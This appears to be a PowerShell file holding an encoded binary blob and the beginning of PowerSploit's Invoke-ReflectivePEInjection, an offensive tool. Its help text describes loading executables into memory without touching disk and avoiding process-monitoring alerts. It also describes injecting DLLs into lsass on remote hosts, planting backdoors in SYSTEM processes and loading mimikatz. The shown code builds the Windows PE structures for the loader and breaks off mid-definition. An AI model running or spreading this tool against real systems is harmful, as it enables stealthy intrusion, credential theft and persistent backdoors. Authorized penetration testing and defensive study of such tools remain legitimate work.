AgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAAMAAAACAAAANRsAIABAAAA1GwAgAEAAADUbACAAQAAANRsAIABAAAA1GwAgAEAAADUbACAAQAAANRsAIABAAAA1GwAgAEAAADUbACAAQAAANRsAIABAAAALgAAAC4AAAAwvwCAAQAAACC/AIABAAAAyM8AgAEAAADIzwCAAQAAAMjPAIABAAAAyM8AgAEAAADIzwCAAQAAAMjPAIABAAAAyM8AgAEAAADIzwCAAQAAAMjPAIABAAAAf39/f39/f38kvwCAAQAAAMzPAIABAAAAzM8AgAEAAADMzwCAAQAAAMzPAIABAAAAzM8AgAEAAADMzwCAAQAAAMzPAIABAAAA/v///wAAAAAQkwCAAQAAABKVAIABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAbBAAAMiaAACAEAAABhQAANCaAAAQFAAAhxYAAOCaAACQFgAAcBcAAPCaAACAFwAAMR4AAPiaAABAHgAA/h4AAAibAAAQHwAAmh8AABCbAACgHwAAHSEAABibAAAwIQAARSMAACCbAABMIwAAryMAAFScAACwIwAAzSMAAHCeAADgIwAAFCcAACibAAAwJwAAGigAADCbAAAwKAAA2CgAADibAADwKAAADykAAECbAAAgKQAA5ykAAEibAADoKQAAOisAAEybAAA8KwAAVywAAGybAABYLAAAlSwAAJibAACYLAAA4i0AAKibAADkLQAA4S8AALCbAAD0LwAAGTAAAHCeAAAcMAAA0TAAAMybAADUMAAAWDEAAAydAABYMQAAfDEAAFScAAB8MQAArzIAAACcAACwMgAA7jIAAFScAADwMgAAcTMAAFScAAB0MwAAsTMAADScAAC0MwAAMjQAADycAAA0NAAAtzQAADycAAC4NAAAPTUAADycAABANQAAeTUAAFScAAB8NQAAkjUAAFScAACsNQAA7zUAAFScAADwNQAAIzYAAFycAAAkNgAAXTYAAAydAABgNgAADzcAAAydAAAQNwAAnzgAAGicAAC8OAAA4jgAAFScAADkOAAAtjsAAJicAAC4OwAAKzwAAJibAAAsPAAAXD0AALScAABcPQAAKz8AAMicAAAsPwAAIkAAAOScAAAkQAAAGEEAAPScAAAYQQAAUEEAAAydAABQQQAAiEEAAAydAACIQQAA3kEAAHCeAADgQQAA/kEAAHCeAAAAQgAA0EMAAHCdAADsQwAAn0QAABidAADARAAA5EQAACidAADwRAAACEUAADCdAAAQRQAAEUUAADSdAAAgRQAAIUUAADidAACwRQAA8UUAADydAAD0RQAAeEYAAFydAAB4RgAA/0YAAHCdAAAYRwAA/kcAAISdAAAASAAAREgAAAydAAB0SQAA7UoAAJibAADwSgAAR0sAAFScAABISwAAvUsAALCdAADASwAATEwAAHCdAABMTAAAPE4AANCdAAA8TgAA9k4AAPCdAAD4TgAAmU8AAFScAACcTwAALFAAABSeAAAsUAAAoVIAAByeAACkUgAAglQAAECeAACEVAAArFQAAHCeAAD0VAAAFFUAAHCeAAAUVQAAylUAAJibAADMVQAAZlYAAAydAABoVgAAO1cAAJibAAA8VwAAX1cAAHieAABgVwAAfVcAAHCeAACwVwAA4lkAAJieAAD8WQAAR1sAAMieAABIWwAAeVsAAHCeAAB8WwAA61sAALScAADsWwAAClwAAOieAAAUXAAAR1wAAFScAABIXAAAi1wAAFScAACMXAAAll0AAPCeAACYXQAAr10AAHCeAACwXQAA5l0AAAydAAAUXgAAcWAAACCfAAB0YAAAt2AAAHCeAAC4YAAAGWEAAFScAAAcYQAAl2EAAESfAACsYQAAmmUAAFSfAACcZQAACGYAADScAAAIZgAAEmcAAFSfAAAUZwAA3mkAAFyfAADgaQAAdmoAAISfAAB4agAA1msAAJSfAADYawAAVmwAALyfAABYbAAAkWwAAHCeAACUbAAA1GwAAHCeAADgbAAA6G4AAMyfAADobgAAbW8AAFScAABwbwAAP3AAAFScAABccAAAx3AAAFScAADIcAAACHEAAHCeAAAgcQAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' | |
function Invoke-ReflectivePEInjection | |
{ | |
<# | |
.SYNOPSIS | |
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, | |
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, | |
please lead the Notes section (GENERAL NOTES) for information on how to use them. | |
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. | |
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. | |
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, | |
this will load and execute the DLL/EXE in to memory without writing any files to disk. | |
2.) Reflectively load a DLL in to memory of a remote process. | |
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. | |
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output | |
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the | |
remote process. | |
PowerSploit Function: Invoke-ReflectivePEInjection | |
Author: Joe Bialek, Twitter: @JosephBialek | |
Code review and modifications: Matt Graeber, Twitter: @mattifestation | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. | |
.PARAMETER PEBytes | |
A byte array containing a DLL/EXE to load and execute. | |
.PARAMETER ComputerName | |
Optional, an array of computernames to run the script on. | |
.PARAMETER FuncReturnType | |
Optional, the return type of the function being called in the DLL. Default: Void | |
Options: String, WString, Void. See notes for more information. | |
IMPORTANT: For DLLs being loaded remotely, only Void is supported. | |
.PARAMETER ExeArgs | |
Optional, arguments to pass to the executable being reflectively loaded. | |
.PARAMETER ProcName | |
Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. | |
.PARAMETER ProcId | |
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. | |
.PARAMETER ForceASLR | |
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even | |
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when | |
loading in to a remote process. | |
.PARAMETER DoNotZeroMZ | |
Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. | |
.EXAMPLE | |
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). | |
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') | |
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local | |
.EXAMPLE | |
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print | |
the wchar_t* returned by WStringFunc() from all the computers. | |
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') | |
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) | |
.EXAMPLE | |
Load DemoEXE and run it locally. | |
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') | |
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" | |
.EXAMPLE | |
Load DemoEXE and run it locally. Forces ASLR on for the EXE. | |
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') | |
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR | |
.EXAMPLE | |
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. | |
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll') | |
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local | |
.NOTES | |
GENERAL NOTES: | |
The script has 3 basic sets of functionality: | |
1.) Reflectively load a DLL in to the PowerShell process | |
-Can return DLL output to user when run remotely or locally. | |
-Cleans up memory in the PS process once the DLL finishes executing. | |
-Great for running pentest tools on remote computers without triggering process monitoring alerts. | |
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. | |
2.) Reflectively load an EXE in to the PowerShell process. | |
-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. | |
-Cleans up memory in the PS process once the DLL finishes executing. | |
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. | |
3.) Reflectively inject a DLL in to a remote process. | |
-Can NOT return DLL output to the user when run remotely OR locally. | |
-Does NOT clean up memory in the remote process if/when DLL finishes execution. | |
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. | |
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. | |
DLL LOADING NOTES: | |
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. | |
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL | |
return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell | |
remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from | |
applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. | |
For DLL Loading: | |
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" | |
I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return | |
the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the | |
returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: | |
wchar_t* : FuncReturnType = WString | |
char* : FuncReturnType = String | |
void : Default, don't supply a FuncReturnType | |
For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string | |
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. | |
The function name expected in the DLL for the prewritten FuncReturnType's is as follows: | |
WString : WStringFunc | |
String : StringFunc | |
Void : VoidFunc | |
These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would | |
be declared as follows: | |
extern "C" __declspec( dllexport ) wchar_t* WStringFunc() | |
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify | |
this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". | |
Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection | |
.LINK | |
http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ | |
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ | |
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ | |
#> | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[ValidateNotNullOrEmpty()] | |
[Byte[]] | |
$PEBytes, | |
[Parameter(Position = 1)] | |
[String[]] | |
$ComputerName, | |
[Parameter(Position = 2)] | |
[ValidateSet( 'WString', 'String', 'Void' )] | |
[String] | |
$FuncReturnType = 'Void', | |
[Parameter(Position = 3)] | |
[String] | |
$ExeArgs, | |
[Parameter(Position = 4)] | |
[Int32] | |
$ProcId, | |
[Parameter(Position = 5)] | |
[String] | |
$ProcName, | |
[Switch] | |
$ForceASLR, | |
[Switch] | |
$DoNotZeroMZ | |
) | |
Set-StrictMode -Version 2 | |
$RemoteScriptBlock = { | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[Byte[]] | |
$PEBytes, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[String] | |
$FuncReturnType, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[Int32] | |
$ProcId, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[String] | |
$ProcName, | |
[Parameter(Position = 4, Mandatory = $true)] | |
[Bool] | |
$ForceASLR | |
) | |
################################### | |
########## Win32 Stuff ########## | |
################################### | |
Function Get-Win32Types | |
{ | |
$Win32Types = New-Object System.Object | |
#Define all the structures/enums that will be used | |
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html | |
$Domain = [AppDomain]::CurrentDomain | |
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) | |
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] | |
############ ENUM ############ | |
#Enum MachineType | |
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) | |
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null | |
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null | |
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null | |
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null | |
$MachineType = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType | |
#Enum MagicType | |
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) | |
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null | |
$MagicType = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType | |
#Enum SubSystemType | |
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null | |
$SubSystemType = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType | |
#Enum DllCharacteristicsType | |
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) | |
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null | |
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null | |
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null | |
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null | |
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null | |
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null | |
$DllCharacteristicsType = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType | |
########### STRUCT ########### | |
#Struct IMAGE_DATA_DIRECTORY | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) | |
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null | |
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null | |
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY | |
#Struct IMAGE_FILE_HEADER | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) | |
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null | |
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER | |
#Struct IMAGE_OPTIONAL_HEADER64 | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) | |
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null | |
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null | |
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null | |
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null | |
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null | |
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null | |
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null | |
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null | |
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null | |
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null | |
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null | |
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null | |
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null | |
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null | |
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null | |
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null | |
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null | |
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null | |
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null | |
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null | |
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null | |
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null | |
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null | |
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null | |
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null | |
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null | |
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null | |
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null | |
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null | |
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null | |
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null | |
